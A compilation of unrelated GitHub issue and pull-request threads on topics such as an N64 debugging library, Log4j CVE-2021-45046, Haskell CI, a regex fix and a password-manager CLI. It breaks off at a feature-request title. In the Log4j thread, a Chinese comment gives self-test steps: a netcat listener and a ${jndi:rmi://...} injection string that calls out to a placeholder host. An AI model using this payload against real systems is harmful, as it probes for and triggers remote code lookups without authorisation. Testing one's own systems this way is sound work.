In blender, press Object>Parent>Clear Parent and Keep Transformation, after press Object>Parent >Armature Deform and paint the weights for all non weighted meshes, now in godot the meshes are children of skeleton and using skinign animation instead of using bone attachment. The best would be to continue using bone attachment and reduce the skining animation overhead for complex models.

to @lyuma too it is a bit odd, but it doesn't seem that harmful. I wonder how damaging it is to fix it.


Separate handling of batch exception and exception on individual item

NetflixOSS » suro » suro-pull-requests #66 SUCCESS
This pull request looks good

suro-pull-requests #234 SUCCESS
This pull request looks good


[Document] use readthedocs to deploy our website

@star-dust-ctrl , skscope is open-source now, and thus, readthedocs becomes available to us. Please configure related settings, thx!

OK! Now our website is available at skscope.readthedocs.io.


New debugging library

This PR contributes a new debugging library, to ease development. The new library provides:

Logging support. In general, on N64, logging is hooked up to stderr, which can be done with the provided debugf macro. There are several different output that can be activated even simultaneously:

USB logging with development cartridges, and compatible PC-side tools (like UNFLoader). On N64, this is hooked up to stderr.
Logging on a file in a SD card inserted in a development cartridge
Logging in supported emulators

Read/write filesystems. This can be useful to access external data and write dump files.

Currently, this is supported on SD cards inserted in development cartridges.

Moreover, even without explicitly activating the new debug library, assert() is now hooked up to the console to actually show the assertion to the user, rather than silently aborting. If instead the debugging library is enabled, the assertion is also logged to stderr. A new function assertf() is also added to simplify assertion with additional context (why oh why this is not available in standard C...).
To hook up assert() to the console, we need to recompile newlib with -DHAVE_ASSERT_FUNC so that newlib stops declaring __assert_func and let us declare it (in our code, it's in debug.c). That's what the build-system part of this PR does, in addition to upgrading all the toolchain to the latest version since we're at it. This part of this PR was prepared by @anacierdem.
NOTE: the PR is rather large because it also imports two third-party libraries (FatFS for FAT access, and a USB library from UNFLoader). It might be easier to review the PR commit by commit.

Finally, this is ready for review! @DragonMinded @anacierdem

I've just added two asserts in core libdragon:

enable_interrupts() without disable_interrupts() (would cause all interrupts to stay enabled forever, causing random crashes very hard to debug)
dma_read() / dma_write() with len=0 (would cause a hard crash)

I'm going to double check the FatFS buffer alignment soon which is the last open point here.

We have decided to merge this one as is for now. We will fix the remaining bugs later. Debugging library should be assumed alpha at this stage.


refactor(cdk/scrolling): remove circular dependency between scrollable and dispatcher

Moves some code around to remove a circular dependency between CdkScrollable and ScrollDispatcher.

@jelbourn Renaming CdkScrollable to Scrollable broke things internally

CdkScrollable wasn't renamed, I added a parallel interface called Scrollable.

I looked into it and I couldn't find a less break-ey way to do this. I'll leave it for the next major and up for discussion.

Closing this since I don't see a non-breaking way we can do this.


Remove RazorDirectiveAttribute class.

Looks like the removal of this was missed when removing @sessionstate. Commit: https://github.com/aspnet/Razor/commit/ff3ddfcc5372b655f914f81a9f69f2d9f864aca9
This also involves removing its tests.

Note: Have this done on an in-progress branch trying to get the Razor repo building/running tests cross plat. Can assign to me.

1ac518d9cbf0ca4cae6adc11be02b4c52ba3acf9


Fix/paramater quil names

Fixes issue #258 .

@mstechly - thanks for the PR! Just a couple style fixes to complete before we can merge this, take a look at the semaphore build:
pyquil/tests/test_parameters.py:5:93: W291 trailing whitespace
pyquil/tests/test_parameters.py:6:33: E127 continuation line over-indented for visual indent

@stevenheidel Thanks, I will pay more attention to the semaphore next time.


Fix for Apache Log4j vulnerability continue (CVE-2021-45046)

Impact
The fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack.
Mitigation
Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (< 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.
References

https://nvd.nist.gov/vuln/detail/CVE-2021-45046
GHSA-jfh8-c2jp-5v3q
https://logging.apache.org/log4j/2.x/security.html
https://www.openwall.com/lists/oss-security/2021/12/14/4

@xhh1989 @FanChenyu @wanghaoyang11 @wangweicugw
PTAL

自行手工测试漏洞
步骤1
在你的本机或服务器上使用netcat监听一个端口，比如监听到4444，命令如下：
nc -lvvp 4444
步骤2
将以下数据投给log4j处理（如log4j.error）
${jndi:rmi://你监听端口的服务器IP:监听的端口/exp}

步骤3
如你上述监听端口（如4444）收到请求，则说明存在log4j漏洞。

LGTM


Casm hash from cairo compiler 2.6.0

Extend the implementation of compute_casm_class_hash according to this thread in slack

closed by #403


groups: auto join channels in same group after clicking a reference

For #1655
Also eliminated the prop-drilling for the chat loading state (which I did, idk why) and cleaned up the ChatChannel component.
I can't seem to figure out a way to actually load just-joined the channel content into the store without doing a page refresh. Any idea what I'm missing here? Try it out by commenting out the window.location.reload() in one of the useEffects.

Just pushed a fix for the content-not-loading-after-join issue, using a local "joining" state for each channel and subscription tracking. Also:

We were using zustand's create/persist for heap and diary state and for some reason it wasn't actually persisting, this fixes that.
We weren't actually scrying for perms when initializing heap, also fixed that.


Feature Request: Flag to Convert Images to base64

Useful in lieu of needing to copy an image file. Example: https://superuser.com/questions/1199393/is-it-possible-to-directly-embed-an-image-into-a-markdown-document

Can I try to solve this problem? Add another option to enable embedding base64 images? Is this feature welcome on this project? Or I just create a new Extension for our need? Thanks.


[BUG]  sidePanel example not working

What happened?
Both following the sidePanel example and downloading the example result in a non-functional system. The project might be incomplete but as I'm just learning to work with plasmo, there is no way to figure out what is wrong.
Version
Latest
What OS are you seeing the problem on?
MacOSX
What browsers are you seeing the problem on?
Chrome
Relevant log output
No response
(OPTIONAL) Contribution

[ ] I would like to fix this BUG via a PR

Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I checked the current issues for duplicate problems.

+1

+1

+1

+1

Adding a background.ts file to the main folder with the following content should do the trick:
export { }

chrome.runtime.onInstalled.addListener(() => {
    chrome.sidePanel.setPanelBehavior({ openPanelOnActionClick: true });
});

Adding a background.ts file to the main folder with the following content should do the trick:
chrome.runtime.onInstalled.addListener(() => {
    chrome.sidePanel.setPanelBehavior({ openPanelOnActionClick: true });
});

Is there any other operation?

+1


closeOnSelect and removing selected choices toggles dropdownmenu

Hello everyone,
I encountered the following bug - in multiple-option selects and when using closeOnSelect: false , when you start removing selected choices that sit alongside the select2-selection__rendered area, then the menu toggles on each item remove.
Here is a jsfiddle that can clearly showcase the issue:
https://jsfiddle.net/8a2rc0zv/

Duplicate of https://github.com/select2/select2/issues/3320, there's ways to prevent it.


fix(SpdxDocumentFile): Support nested DEPENDS_ON relations

This fixes nested DEPENDS_ON relations as discussed in:
https://github.com/oss-review-toolkit/ort/issues/8359
The main issue was that the dependsOnCase function is not always correctly defined.
There might be a better way to restructure the code and also support other nested relationships (if this is wanted) but my kotlin skills are very limited to do further improvements

The main issue was that the dependsOnCase function is not always correctly defined.

Thanks a lot for the contribution, @JSurf! I believe we should explain the above in more detail in the commit message. I propose to add:
While the `getDependencies()` function overload that takes the
`dependencyOfRelation` argument is generic with respect to the
relationship, whenever `DEPENDENCY_OF` is passed, also `dependsOnCase`
should be passed to handle dependency relationships bidirectionally. This
is exactly what the `getDependencies()` convenience function that only
takes three arguments is there for, so make use of that.

Also add a new test case to cover the `DEPENDS_ON` case.

Fixes #8359.

The last line will cause the issue to get auto-closed upon merge of the PR.

@sschuberth Made requested changes, please review again


Annotation for default serialization implementation

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

This doesn't seem to compile. I'm getting the following error:
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.3.2:compile (default-compile) on project core: Compilation failure
[ERROR] /Users/N18602/git/koryphe/core/src/main/java/uk/gov/gchq/koryphe/tuple/Tuple.java:[26,1] error: cannot find symbol

 All committers have signed the CLA.


How to launch WinAppDriver exe from Java

Before running script i want to make sure WinAppDriver is up and running.
From Java, i am trying to launch WinAppDriver using below commands:
#####################################
ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/c", "C:/Program Files (x86)/Windows Application Driver/WinAppDriver.exe");
builder.inheritIO();
builder.start();
#####################################
Above code launches WinAppDriver in the background using Eclipse console.
When i run xml from command prompt (without Eclipse), WinAppDriver does not launch. Could anyone guide on this please?

i have managed to run using below command and it worked.
#####################################
Process process = Runtime.getRuntime().exec("cmd /c start cmd.exe /K "C:/Program Files (x86)/Windows Application Driver/WinAppDriver.exe"");
#####################################


Remove Unnecessary Data.Monoid Import

For changes like this we probably want CI (well, we want CI anyway). I'm not sure if that import was necessary on an older version of base.

@mitchellwrosen I'm happy to PR in a travis setup.

@isomarcte That would be awesome! FYI - https://github.com/haskell-CI/haskell-ci

@mitchellwrosen That looks nice, I've not used it before. I'll give it a shot with a PR here. I may need to switch my other projects over.

The tl;dr is you equip your .cabal file with a
Tested-With: GHC ==8.6.5 || ==8.4.4 || ==8.2.2 ...

and then run
haskell-ci <the-cabal-file> > .travis.yml

@mitchellwrosen PR made. I just went hog wild on the GHC versions. Travis is building it on my fork now.

@isomarcte Now that CI is up, can you fix the merge conflicts on this PR and the other two? 🙏

@mitchellwrosen Fixed.

@mitchellwrosen you may need to re-configure travis for this repo, either via the webhook or in the travis interface.
https://travis-ci.org/mpickering/slack-api/branches
It doesn't appear to be detecting new builds.

Whoops... I clicked a few buttons in that UI. Can you try force-pushing something to trigger it, now? Sorry 😅

@mitchellwrosen looks like we're building now.


Update tag regex to handle angle brackets in attributes, fixes Issue #768

This fixes issue 768 by replacing the tagregex with one which ignores the contents of attributes for parsing XML

Looks good, but the tests are failing on a test file with strange whitespace:
<workbook
 xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
 xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">

Your regex assumes there's one whitespace character after the tag name.  The fixed regex is
/<[\/\?]?[a-zA-Z0-9:]+(?:\s+[^"\s?>\/]+=(?:"[^"]*"|'[^']*'|[^'">\s]+))*\s?[\/\?]?>/g;
                           ^ added this plus

If you can fix the regex and amend the commit with a new message (keep the first line within 50 characters), we can merge as-is.  Here's an example:
new tag regex handles angle brackets in attributes

fixes #768

Updated with that +, as well as one for the final \s outside the attribute capture


Only one poller supported is ambiguous

Hi,
In the documentation, "You can use only one poller for the moment" seems a little ambiguous.
In the module's code, we can see it is possible to assign different pollers for each hosts, but only one poller can be defined in the server class.
Can you specify it more clearly in the README?
Thanks

What I meant by that is to have Puppet automatically assign the node to a poller without having to tie it manually into the configuration.


Added Riot & FreshRSS

Thanks for the PR!
Riot seem to be closer to Slack & Co, than WhatsApp.
Maybe we could create a section "Team communication".
There is no cloud version of FreshRSS, correct? I would therefore not call it a Web App. Maybe we could create a catalog "Self Hosted Web Apps"


PUT requests fail

Hey
GET and POST requests work correctly, but PUT requests fail consistently.
I tested this by creating a POST endpoint, validating that the response worked correctly, and then changing the method to a PUT and redeploying. The request immediately failed with an error.

forget I said anything, my endpoints didnt deploy correctly.


ProgressChart: When legend is hidden, the chart is not centered in the container

When we use the higeLegend={true} prop, the chart doesn't appear centered in the container.
Maybe a condition can be added to the x prop in the SVG definition to check for legend presence, and then decide whether or not to divide the width by 2.5
Snack
<ProgressChart
  data={{ labels: ["Capacity"], data: [0.55] }}
  width={200}
  height={200}
  hideLegend={true}
  strokeWidth={14}
  radius={200 / 2 - 14 / 2}
  style={{
    borderWidth: 1,
    borderColor: "#FF0000",
  }}
  chartConfig={{
    color: (opacity = 1) => `rgba(57, 95, 67, ${opacity})`,
    backgroundGradientFromOpacity: 0,
    backgroundGradientToOpacity: 0,
  }}
/>

https://github.com/indiespirit/react-native-chart-kit/blob/0b5fae9c215fef717e88220c13ee6b3a780a4277/src/ProgressChart.tsx#L173

Closed - thanks to @Hermanya for accepting my pull request. Works great!


sqlcipher/sqlite3.h not found

The file sqlcipher/sqlite3.h is not found in the repository.
I am using sqlcipher in my unity native lib. I need the header file to compile.

In sqlcipher official repository can be found sqlcipher/sqlite3.h.


Using HTTP Proxy

Is your feature request related to a problem? Please describe.
My Cluster cannot access the providers directly, since it does not have direct Internet access. Instead, it must go through a proxy server. Is there a way to configure the Provider to go through an HTTP proxy? In my case, i am using the GCP Provider.
Describe the solution you'd like
I would like some mechanism to specify an HTTP proxy
Describe alternatives you've considered
Additional context

Did you try to set HTTP_PROXY and HTTPS_PROXY environment variables on the ESO pod?
AFAIK the GCP / gRPC golang sdk supports that out of the box.

I haven't tried that yet. But thank you - I'll see if that works out of the box

OK - defining http_proxy, https_proxy, and no_proxy environment variables in extraEnv in my values files worked. Thanks.


Quick Access menu like in 1Password

Hi! Something I really like about the 1Password desktop app that I miss a lot in Bitwarden is the ability to just click "Ctrl+Shift+Space" and search for the account I want and then click "Ctrl+Shift+C" to get its password. It's great when the regular autofill misbehaves or something like that or if you want enter any credentials in a terminal.
Btw, few unrelated questions:

I installed the RPM and set it up as per the Getting Started, everything works as expected from the terminal, but how do I access the GUI from the RPM package?
Is there any way to check if my Notifications URL is working as intended (self-hosted)?
Is the flatpak now the recommended way to install? If so, how do I uninstall the RPM?
This project means a lot to me. It's everything that I'm missing to move back fully to Bitwarden again. I want to donate to keep the project alive. Is there any way to do that?

Awesome idea! The current "autotype" feature works somewhat like 1Password's quick access menu, albeit not as feature complete. You can enter the name of a credential (i.e "GitHub") and hit enter for autotype, "u" for copying the username and "p" for copying the password. But this can definitely be extended.

I installed the RPM and set it up as per the Getting Started, everything works as expected from the terminal, but how do I access the GUI from the RPM package?

The RPM does not have UI support currently, you need to additionally install the Flatpak. You can use the cli tool from the RPM in conjunction with the flatpak, since neither version supports all features currently.

Is there any way to check if my Notifications URL is working as intended (self-hosted)?

Yes! Run: goldwarden vault status. This should show whether the websocket connection is established or not.

Is the flatpak now the recommended way to install? If so, how do I uninstall the RPM?

Yes and no. If you just need autotype and/or ssh key support it is enough, but not all features are supported yet. You don't need to uninstall the rpm, but if you want to, it should be  rpm -e <rpm_name>

This project means a lot to me. It's everything that I'm missing to move back fully to Bitwarden again. I want to donate to keep the project alive. Is there any way to do that?

Thanks for the kind words! Sadly, I'm not sure if I'm able to accept donations for this project currently.

If you need both the cli features and the flatpak, just install the flatpak, and configure your environment variables as shown in: https://github.com/quexten/goldwarden/wiki/Flatpak-Configuration
and for ssh keys the flatpak section of: https://github.com/quexten/goldwarden/wiki/SSH-Login-&-Git-Commit-Signing

I think for your use-case, the auto-type menu is actually enough, since it supports copying username and passwords. Though discoverability of this feature could be improved, maybe by just renaming it to "quick access" and then labeling all the actions (auto-type, copy username, copy password, [yet unimplemented copy totp])

I think for your use-case, the auto-type menu is actually enough, since it supports copying username and passwords. Though discoverability of this feature could be improved, maybe by just renaming it to "quick access" and then labeling all the actions (auto-type, copy username, copy password, [yet unimplemented copy totp])

Yep you're right! I just didn't know the copy features existed as I saw no indication of it in the CLI.

If you need both the cli features and the flatpak, just install the flatpak, and configure your environment variables as shown in: Wiki: Flatpak Configuration ()

So I think I got all of it working:

I have the autofill working too but the flatpak can't seem to tell that. Is that a bug?

You don't need to uninstall the rpm, but if you want to, it should be  rpm -e <rpm_name>

Oh yeah, I should have specified. I was talking about how to revert the changes done by goldwarden setup processes.

Run: goldwarden vault status

Looks like it's working! Thanks!

Thanks for the kind words! Sadly, I'm not sure if I'm able to accept donations for this project currently.

No worries, just super thankful for your work!

I have the autofill working too but the flatpak can't seem to tell that. Is that a bug?
It's hard-coded right now. It can't detect settings outside of the flatpak due to sandboxing. Ideally this will be changed when https://github.com/quexten/goldwarden/issues/39 is done.

Oh yeah, I should have specified. I was talking about how to revert the changes done by goldwarden setup processes.

For polkit, leave it as is. The flatpak benefits from that step. For systemd, it's systemd --user disable goldwarden.service --now, and optionally deleting ~/config/systemd/user/goldwarden.service.


GHC & LLVM versions

There are at least two places where llvmPackages defined: in compiler (ghc) definition
and in per-compiler package configuration. They may be different by accident.
For example self.llvmPackages and self.ghc.llvmPackages may be different:
in https://github.com/NixOS/nixpkgs/blob/8e11a25d5f58bc40d90578f767140ae3bff3beaf/pkgs/development/haskell-modules/configuration-ghc-8.6.x.nix LLVM is set to version 5, while each GHC version has LLVM version defined in another place.

This has been reduced to one place in d7ff8061beed.


pass *args and *kwargs into str methods for all a{r,c}b_ and expand goodstr domain

Does this affect anything that could be testable or is it just for consistency?

It enables something like:
showgood(lambda : acb_series([arb.pi(), (arb.pi() + arb("1e-100")).sin()]), maxprec=10**3)
3.14159265358979 + (-1.00000000000000e-100)*x + O(x^10)

before you would have to use:
showgood(lambda : acb_series([arb.pi(), (arb.pi() + arb("1e-100")).sin()]).coeffs(), maxprec=10**3)
[3.14159265358979, -1.00000000000000e-100]

otherwise you would trigger:
raise TypeError("must have arb or acb")

Here is a more realistic example:
>>> from flint import *
>>> z = acb(1+1j); tau = acb(1.25+3j)
>>> showgood(lambda: acb_mat([[tau]]).theta(acb_mat([[z]])).transpose(), dps=25)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "showgood.pyx", line 131, in flint.functions.showgood.showgood
  File "showgood.pyx", line 108, in flint.functions.showgood.good
  File "showgood.pyx", line 39, in flint.functions.showgood.goodstr
TypeError: must have arb or acb

Okay, I see. Looks good!


anyTill combinator

anyTill should be a primitive combinator.

https://pursuit.purescript.org/packages/purescript-parsing-replace/1.0.2/docs/Text.Parsing.Replace.String.Combinator#v:anyTill


Minor upgrades to austraits the R package

austraits 1.0.0

Added a NEWS.md file to track changes to the package
Added extract_taxa to package
Improved plot_site_locations
Improved trait_pivot_wider
Improved load_austraits
Added print_versions
Added summarise_trait_means to aid trait_pivot_wider
Added print_austraits
Added lookup_trait
Reorganised the look of the pkgdown site

Codecov Report

Merging #31 (93d4a6b) into master (d9c46c6) will decrease coverage by 2.76%.
The diff coverage is 85.98%.

@@            Coverage Diff             @@
##           master      #31      +/-   ##
==========================================
- Coverage   89.75%   86.98%   -2.77%
==========================================
  Files          12       17       +5
  Lines         283      415     +132
==========================================
+ Hits          254      361     +107
- Misses         29       54      +25

Impacted Files
Coverage Δ

R/austraits.R
100.00% <ø> (ø)

R/extract_dataset.R
100.00% <ø> (ø)

R/lookup.R
0.00% <0.00%> (ø)

R/load_austraits.R
67.27% <60.00%> (-22.02%)
:arrow_down:

R/trait_pivot_wider.R
93.75% <93.33%> (-6.25%)
:arrow_down:

R/extract_taxa.R
100.00% <100.00%> (ø)

R/extract_trait.R
88.00% <100.00%> (ø)

R/plot_site_locations.R
100.00% <100.00%> (ø)

R/print_austraits.R
100.00% <100.00%> (ø)

R/summarise_trait_values.R
100.00% <100.00%> (ø)

... and 3 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d9c46c6...93d4a6b. Read the comment docs.


Bug: Icons/Thumbnails are not loading

Description
Thumbnails in GridView are not loading even when you refresh the folder.
It only loads when you change the size of the grid view.
Steps To Reproduce

Open Files
Navigate to a folder with a lot of items
Change the view to a grid view (Small Icons, Medium Icons, Large Icons, or Tiles)
The icons will not load.

This is my current workaround

Change the layout using Ctrl + Shift + Num keys
Icons should now show up

But if you try to refresh the folder again, the icons would disappear again.
Steps to fix

Display the thumbnails correctly

Files Version
Version: <IP_ADDRESS>
Windows Version
10.0.22623.1095
Relevant Assets/Logs

Merging with #10983


Make search results sortable by clicking on table header

This can be done with https://docs.djangoproject.com/en/1.9/ref/models/querysets/#django.db.models.query.QuerySet.order_by
Another possibility is to use a 3rd party app like https://github.com/bradleyayers/django-tables2
Which makes the process easy, but you would also be relying on that piece of software, and that it will be maintained in the future.
Fields like translation equivalents are pretty hard to sort because they have multiple values, so the order would not mean anything really.

Columns are now as far as possible sortable alphabetically.
Only one column can be sorted ascending or descending at a time.
The sorted column has a red-colored triangle.
Undoing the sort is done by pressing the 'x' sign of the sorted column.


Get mentions

probably better to do it in this format
@original  // @othername
and then put the cursor in the middle

Could possibly bind cursor position?

Using https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange would be the way to do it.

I don't think this is essential.. maybe one to reopen.


qemu-guest: remove security.rngd setting

Copy of commit msg
Since release 20.09 rngd.enable defaults to false, so this setting is redundant.
Also fix the qemu-quest section of the manual that incorrectly claimed that rngd was enabled.
Things done

[x] Tested via one or more NixOS test(s) if existing and applicable for the change

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/452

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/452


Cyw

@jencyw please done merge until I have checked the code on the cluster, but please review and tell me if there is any obvious issues with the changes I have made. Thanks.

@jencyw please done merge until I have checked the code on the cluster, but please review and tell me if there is any obvious issues with the changes I have made. Thanks.


Add REST api for toggling various command line settings, especially timeouts and archive list

When running under load, it is sometimes desirable to be able to tweak certain settings, without having to restart memgator (and any dependent containers). It would be great if the settings that are provided on the command line, especially the timeout settings and the archive list, could be modified while memgator is running, perhaps by doing a PUT or POST to a special api endpoint..
Note that this is separate from customizing archivelist per query, in case the user is not doing that, it would still be great to change the archivelist dynamically..
This is related to and can be mitigated by #43 although sometimes it is desirable to remove an archive that is not yet failing (but perhaps overloading the remote servers)

Yes, this is a planned feature, though in a slightly different manner. Instead of providing options to make changes to every config option individually, the approach would be to allow reloading the configs from a config file #2 with the help of an administrative endpoint (somewhat similar to how Nginx configs allow reloading except it would be invoked from an API endpoint not the CLI). This way anyone can issue a reload config request, but the changes to the config file can only be made by those who have access to the server. Although, it would be very convenient to pass a reference (location or URI) of a config file in the request or pass the config file as the payload of a PATCH request to make such changes, but it would force us to have some sort of authentication in place otherwise anyone could mess the global configs of the running instance up. However, per-request config overrides don't necessarily need any authentication as they can't affect others.
It should be noted that the config file will have a way to specify the archive list inline or as a reference, so the implementation will allow changing the archive list as well.

A nginx-style config and reload option would work great for my use case as I can do it server side :+1:
Btw, Memgator has been running reliably under heavy considerable load for days, so thanks for making a great tool :)

Btw, Memgator has been running reliably under heavy considerable load for days, so thanks for making a great tool :)

I am really glad to hear that. Did you enable log and profile flags in your instances at oldweb.today and would you be willing to share them sometime in future when the service is settled after the current peak? I would like to include some statistical analysis in the announcement blog post when the 1.0 GA is released.
There is a proposal #44 to expose the profiling information as a stream to allow subscription for visualization and monitoring purposes.


Issue detected with cookies

To recreate, add a google spreadsheet as a 'custom app' by pasting in the URL. Make an edit and you should see the error

Yeah, we could recreate it at our end. We will release a patch and PR's welcome.

Have removed the code that causes this bug.  Will be released in upcoming release.

The fix is on 2.0.1 pre-release.(currently available for Mac)


fix reply box disappearance on dashboard

Pass user scope into the serializer, as this is executed by a sidekiq worker and current_user isn't in that context.

Naisu catch~ :shipit: LGTM


doc(configuring-dns.md): adding instructions for configuring Google Cloud DNS for a Deis cluster

Fixes #146
The original ticket was intended to provide instructions for configuring Cloud DNS for a GKE cluster. I think I was able to make them generic for any cluster that has a load balancer in front of the routers.
cc/ @jchauncey @slack

content looks good im not a grammar person so pinging @mboersma and @slack


data->(tensor, io) refactor

Codecov Report

Merging #12 (aa67b6b) into main (5c8c891) will decrease coverage by 0.57%.
The diff coverage is 94.78%.

@@            Coverage Diff             @@
##             main      #12      +/-   ##
==========================================
- Coverage   97.97%   97.39%   -0.58%
==========================================
  Files          23       23
  Lines         592      614      +22
==========================================
+ Hits          580      598      +18
- Misses         12       16       +4

Impacted Files
Coverage Δ

zetta_utils/io/indexes/__init__.py
100.00% <ø> (ø)

zetta_utils/io/indexes/base.py
100.00% <ø> (ø)

zetta_utils/io/layers/__init__.py
100.00% <ø> (ø)

zetta_utils/viz.py
100.00% <ø> (ø)

zetta_utils/widgets.py
100.00% <ø> (ø)

zetta_utils/tensor/convert.py
90.47% <90.47%> (ø)

zetta_utils/tensor/ops.py
98.58% <93.10%> (ø)

zetta_utils/__init__.py
100.00% <100.00%> (ø)

zetta_utils/io/__init__.py
100.00% <100.00%> (ø)

zetta_utils/io/backends/__init__.py
100.00% <100.00%> (ø)

... and 9 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5c8c891...aa67b6b. Read the comment docs.


Issue with 10.2 - ECONNRESET

Connection issues with 10.2.  I reverted back to 10.1 and problem is not occurring
See below
[17/12/2024, 10:03:33] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:03:33] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: Invalid response body while trying to fetch https://www.alarm.com/web/api/identities: read ECONNRESET
[17/12/2024, 10:04:13] [Security System] refreshDevices Error: GET https://www.alarm.com/web/api/devices/sensors?ids[]=98182855-13&ids[]=98182855-8&ids[]=98182855-1&ids[]=98182855-2&ids[]=98182855-7&ids[]=98182855-10&ids[]=98182855-11&ids[]=98182855-14&ids[]=98182855-12&ids[]=98182855-6&ids[]=98182855-9&ids[]=98182855-5&ids[]=98182855-3&ids[]=98182855-4&ids[]=98182855-15 failed: request to https://www.alarm.com/web/api/devices/sensors?ids[]=98182855-13&ids[]=98182855-8&ids[]=98182855-1&ids[]=98182855-2&ids[]=98182855-7&ids[]=98182855-10&ids[]=98182855-11&ids[]=98182855-14&ids[]=98182855-12&ids[]=98182855-6&ids[]=98182855-9&ids[]=98182855-5&ids[]=98182855-3&ids[]=98182855-4&ids[]=98182855-15 failed, reason: read ETIMEDOUT
[17/12/2024, 10:04:13] [Security System] Refreshing session authentication.
[17/12/2024, 10:08:28] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:08:28] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:11:59] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:11:59] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:13:19] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:13:19] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:14:55] [homebridge-network-presence] [Scott's iPhone] - disconnected from the network (mac: 14:1b:a0:ca:68:6f | ip:<IP_ADDRESS> | hostname:Scotts-iPhone.localdomain)

Very strange since we didn't change any of the identity or partition code between 1.10.1 and 1.10.2. This almost looks like an issue with the timeout of the auth cookies. If you go back to the latest version now and reboot, does it work?ChaseOn Dec 17, 2024, at 12:23 PM, scottleestrange @.***> wrote:
Connection issues with 10.2.  I reverted back to 10.1 and problem is not occurring
See below
[17/12/2024, 10:03:33] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:03:33] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: Invalid response body while trying to fetch https://www.alarm.com/web/api/identities: read ECONNRESET
[17/12/2024, 10:04:13] [Security System] refreshDevices Error: GET https://www.alarm.com/web/api/devices/sensors?ids[]=98182855-13&ids[]=98182855-8&ids[]=98182855-1&ids[]=98182855-2&ids[]=98182855-7&ids[]=98182855-10&ids[]=98182855-11&ids[]=98182855-14&ids[]=98182855-12&ids[]=98182855-6&ids[]=98182855-9&ids[]=98182855-5&ids[]=98182855-3&ids[]=98182855-4&ids[]=98182855-15 failed: request to https://www.alarm.com/web/api/devices/sensors?ids[]=98182855-13&ids[]=98182855-8&ids[]=98182855-1&ids[]=98182855-2&ids[]=98182855-7&ids[]=98182855-10&ids[]=98182855-11&ids[]=98182855-14&ids[]=98182855-12&ids[]=98182855-6&ids[]=98182855-9&ids[]=98182855-5&ids[]=98182855-3&ids[]=98182855-4&ids[]=98182855-15 failed, reason: read ETIMEDOUT
[17/12/2024, 10:04:13] [Security System] Refreshing session authentication.
[17/12/2024, 10:08:28] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:08:28] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:11:59] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:11:59] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:13:19] [Security System] There was an error retrieving account settings. Please check that your credentials are correct and restart the plugin.
[17/12/2024, 10:13:19] [Security System] GET https://www.alarm.com/web/api/identities failed: GET https://www.alarm.com/web/api/identities failed: request to https://www.alarm.com/web/api/identities failed, reason: read ECONNRESET
[17/12/2024, 10:14:55] [homebridge-network-presence] [Scott's iPhone] - disconnected from the network (mac: 14:1b:a0:ca:68:6f | ip:<IP_ADDRESS> | hostname:Scotts-iPhone.localdomain)
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you are subscribed to this thread.Message ID: @.***>

Yes it does work with the previous version.
I reverted back and rebooted, all perfect
This morning I did an upgrade again, so far no errors.   I will let you know


[FEATURE] Allow local LLM backbones

🚀 Feature
